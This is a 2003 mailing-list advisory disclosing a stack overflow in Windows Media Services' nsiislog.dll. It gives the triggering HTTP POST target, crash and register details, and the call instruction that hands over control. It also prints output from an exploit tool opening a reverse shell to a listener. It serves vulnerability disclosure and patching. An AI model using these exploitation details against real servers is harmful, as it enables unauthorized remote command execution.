Windows Media Services Remote Command Execution #2
From: Brett Moore (brett.moore_at_SECURITY-ASSESSMENT.COM)
Date: Thu, 26 Jun 2003 11:29:28 -0700 To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
= Windows Media Services Remote Command Execution #2
= MS Bulletin posted: June 25, 2003
= Affected Software:
= Microsoft Windows 2000
= Public disclosure on June 25, 2003
= Our Rating: Due to the ease of exploitation of this vulnerability and
= the fact that it allows command execution against a vulnerable server
= we feel that this patch is CRITICAL for all servers that have the
= vulnerable dll installed even if Windows Media Services are not in use.
A short time after a long time ago, in a place very similar to the last,
where the sun shines, the snow falls and the water is still clean....
Continuing with our 'Methodical Approach To Finding Overflows' against
nsiislog.dll we discovered another issue but due to complications this
fix was not released with the previous nsiislog.dll bulletin.
== MS03-022 states ==
Impact of vulnerability: Allow an attacker to execute code of their choice
Maximum Severity Rating: Important
There is a flaw in the way nsiislog.dll processes incoming client requests.
A vulnerability exists because an attacker could send specially formed HTTP
request (communications) to the server that could cause IIS to fail or
execute code on the user's system.
== MS03-022 ==
== Description ==
Sending a large standard post to nsiislog.dll will cause an access
violation resulting in the following error log.
Event Type: Warning
Event Source: W3SVC
Event Category: None
Event ID: 37
Out of process application '/LM/W3SVC/1/Root' terminated unexpectedly.
This results in a standard stack based overflow, resulting in EIP
been set to an arbitrary value allowing for remote command execution
with privileges associated with the IWAM_machinename account.
== Standard HTTP Post ==
POST /scripts/nsiislog.dll HTTP/1.1
Using Size: 4354
78028E9F mov al,byte ptr [esi] ESI = 00B138B4
Using Size: 5000
40F01F3B repne scas byte ptr [edi] EDI = 58585858
Using Size: 25000
78005994 mov dword ptr [edi],edx EDX = 58585858
58585858 ??? illegal op EIP = 58585858
== Exploitation ==
Commonly referred to as a stack based overflow, control is taken when the
EIP is set to a value from the stack. Widely known and easily exploitable
by using a call or jmp instruction or in the worst case a brute force
technique of direct jumps.
In this case control is taken when a value is obtained from the stack
and then used in a direct call.
77FB98E1 mov ecx,dword ptr [ebp+18h]
77FB98E4 call ecx
== Exploit Example ==
** IISNSLOG.DLL - Remote Shell **
. Calling Home: blackhole:2000
. Shellcode Size: 322 bytes
. Preparing Exploit Buffer......Ready
. Starting Listener On Port: 2000
. Connecting To Target
. Sending Exploit......Exploit Sent
. Connection Received
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
== Solutions ==
- Every day is a 0-day day on the Internet. Limiting the avenues of attack
can be a key factor in reducing the risk to a web server. Programs such
as secureIIS and URLscan should be setup to reduce the number of methods
that can be used to send data to a server. Removing unnecessary services,
files and isapi extensions reduces the number of listeners that data can
be fed to limiting the number of vulnerabilities that a server is
- Install the vendor supplied patch.
== Credit ==
Discovered and advised to Microsoft January 30, 2003 by Brett Moore of
%-) viva Las Vegas!!
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